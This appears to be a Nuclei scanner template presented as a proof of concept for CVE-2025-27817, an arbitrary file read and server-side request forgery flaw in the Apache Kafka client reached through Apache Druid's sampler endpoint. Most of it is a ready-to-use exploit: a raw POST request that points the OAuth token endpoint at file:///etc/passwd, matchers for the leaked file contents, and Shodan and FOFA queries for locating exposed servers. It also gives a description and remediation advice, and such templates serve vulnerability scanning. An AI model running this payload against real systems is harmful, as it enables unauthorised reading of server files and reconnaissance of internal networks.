Apache Kafka Client contains arbitrary file read and server-side request forgery caused by untrusted configuration of sasl.oauthbearer.token.endpoint.url and sasl.oauthbearer.jwks.endpoint.url, letting attackers read files or send requests to unintended locations, exploit requires untrusted party to specify client configurations.
PoC
id: CVE-2025-27817
info:
name: Apache Kafka Client - Arbitrary File Read
author: 0x_Akoko
severity: high
description: |
Apache Kafka Client contains arbitrary file read and server-side request forgery caused by untrusted configuration of sasl.oauthbearer.token.endpoint.url and sasl.oauthbearer.jwks.endpoint.url, letting attackers read files or send requests to unintended locations, exploit requires untrusted party to specify client configurations.
impact: |
Attackers can read arbitrary files or make unintended network requests, potentially exposing sensitive data or causing unauthorized interactions.
remediation: |
Update to Apache Kafka 4.0.0 or later and configure allowed URLs using -Dorg.apache.kafka.sasl.oauthbearer.allowed.urls system property.
reference:
- https://github.com/kk12-30/CVE-2025-27817
- https://nvd.nist.gov/vuln/detail/CVE-2025-27817
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-27817
epss-score: 0.68776
epss-percentile: 0.99308
cwe-id: CWE-918
metadata:
max-request: 1
verified: true
shodan-query: http.title:"Apache kafka"
fofa-query: title="Apache Kafka"
tags: cve,cve2025,apache,lfi,file-read,ssrf,kafka,oss,vkev,vuln
http:
- raw:
- |
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:6666","sasl.mechanism":"OAUTHBEARER","security.protocol":"SASL_SSL","sasl.login.callback.handler.class":"org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler","sasl.oauthbearer.token.endpoint.url":"file:///etc/passwd","sasl.jaas.config":"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\"http://127.0.0.1:9999/token\" sasl.oauthbearer.jwks.endpoint.url=\"http://127.0.0.1:9999/jwks\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\"http://127.0.0.1:9999\" useFirstPass=true serviceName=kafka debug=true;"},"topic":"test","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{},"granularitySpec":{"rollup":false}},"tuningConfig":{"type":"kafka"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Malformed JWT provided"
- "RecordSupplier"
condition: and
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 400
# digest: 4a0a00473045022100aa63b000163f6737ec886fd29ae9591df6039c3252f815403f41b70d0e75b7ff02203a1cd8611ab5b5a2b42b52d1dc5bafde7dd0578e8a0c6e1417e9664cc1d8b9be:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.